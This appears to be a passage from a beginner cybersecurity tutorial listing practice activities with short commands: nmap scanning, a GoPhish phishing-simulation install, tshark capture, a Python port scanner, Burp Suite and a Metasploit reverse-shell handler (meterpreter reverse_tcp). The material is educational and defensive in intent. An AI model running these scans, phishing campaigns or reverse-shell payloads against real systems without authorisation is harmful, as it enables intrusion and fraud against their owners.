You Should Know:
<h1>Install required tools for CTF challenges</h1> sudo apt install nmap binwalk john wireshark <h1>Use nmap for network scanning</h1> nmap -sV -A target_IP <h1>Extract hidden files with binwalk</h1> binwalk -e suspicious_file
### 2️⃣ Safe Simulation of Phishing Attacks
Use GoPhish to create simulated phishing campaigns and understand attacker strategies.
**You Should Know:**
<h1>Install GoPhish on Linux</h1> wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip unzip gophish-v0.12.1-linux-64bit.zip cd gophish chmod +x gophish ./gophish
### 3️⃣ Network Traffic Monitoring with Wireshark
Analyze data packets to detect suspicious patterns.
**You Should Know:**
<h1>Capture HTTP traffic</h1> sudo tshark -Y "http.request" -i eth0 <h1>Filter DNS queries</h1> sudo tshark -Y "dns" -i wlan0
### 4️⃣ Penetration Testing with Metasploit
Simulate attacks using **Metasploit Framework**.
**You Should Know:**
<h1>Start Metasploit</h1> msfconsole <h1>Search for exploits</h1> search exploit_name <h1>Use an exploit</h1> use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST your_IP exploit
### 5️⃣ Task Automation with Python/Bash
Develop scripts for log analysis, port scanning, and vulnerability detection.
**You Should Know:**
<h1>Python port scanner</h1>
import socket
for port in range(1, 1025):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex(('target_IP', port))
if result == 0:
print(f"Port {port} is open")
sock.close()
6️⃣ Web App Security Analysis with Burp Suite
Detect flaws like SQLi and authentication issues.
**You Should Know:**
<h1>Intercept traffic with Burp Suite</h1> <h1>Configure browser proxy to 127.0.0.1:8080</h1>
### 7️⃣ Malware Study in a Controlled Environment
Use **Cuckoo Sandbox** for safe malware analysis.
